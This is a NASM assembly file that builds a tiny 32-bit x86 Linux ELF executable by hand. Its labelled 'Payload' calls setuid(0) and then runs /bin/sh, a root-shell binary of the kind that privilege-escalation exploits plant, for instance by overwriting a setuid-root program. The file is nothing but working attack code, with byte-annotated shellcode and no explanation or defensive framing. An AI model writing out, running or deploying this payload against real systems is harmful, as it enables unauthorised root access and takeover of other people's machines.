BITS 32
org 0x08048000

; --- 32-bit ELF Header ---
ehdr:
    db 0x7F, "ELF"  ; e_ident
    db 1            ; EI_CLASS (1 = 32-bit)
    db 1            ; EI_DATA (1 = little endian)
    db 1            ; EI_VERSION
    db 0            ; EI_OSABI
    db 0, 0, 0, 0, 0, 0, 0, 0
    dw 2            ; e_type: Executable
    dw 3            ; e_machine: EM_386 (x86)
    dd 1            ; e_version
    dd _start       ; e_entry
    dd phdr - ehdr  ; e_phoff (offset to program header)
    dd 0            ; e_shoff
    dd 0            ; e_flags
    dw 52           ; e_ehsize (32-bit ELF header size)
    dw 32           ; e_phentsize (32-bit Program header size)
    dw 1            ; e_phnum (Number of program headers)
    dw 0            ; e_shentsize
    dw 0            ; e_shnum
    dw 0            ; e_shstrndx

; --- Program Header (PT_LOAD) ---
phdr:
    dd 1            ; p_type: PT_LOAD
    dd 0            ; p_offset
    dd 0x08048000   ; p_vaddr
    dd 0x08048000   ; p_paddr
    dd file_end - ehdr ; p_filesz
    dd file_end - ehdr ; p_memsz
    dd 5            ; p_flags: PF_R | PF_X (Read + Execute)
    dd 0x1000       ; p_align

; --- Payload ---
_start:
    ; setuid32(0)
    xor    eax, eax
    xor    ebx, ebx       ; ebx = 0 (UID)
    mov    al, 213        ; sys_setuid32 (213)
    int    0x80

    ; execve("/bin/sh", ["/bin/sh", NULL], NULL)
    xor     eax, eax            ; 31 c0    eax = 0
    push    eax                 ; 50       NULL terminator for argv
    push    0x68732f2f          ; 68 2f 2f 73 68    "//sh"
    push    0x6e69622f          ; 68 2f 62 69 6e    "/bin"
    mov     ebx, esp            ; 89 e3    ebx -> "/bin//sh"
    push    eax                 ; 50       envp = NULL
    push    ebx                 ; 53       argv[0] = "/bin//sh"
    mov     ecx, esp            ; 89 e1    ecx -> argv
    mov     edx, eax            ; 89 c2    edx = 0 (envp)
    mov     al, 0xb             ; b0 0b    eax = 11 (SYS_execve)
    int     0x80                ; cd 80    syscall

    ; exit(0)
    xor    ebx, ebx       ; Exit code 0
    push   1              ; sys_exit (1)
    pop    eax
    int    0x80

file_end: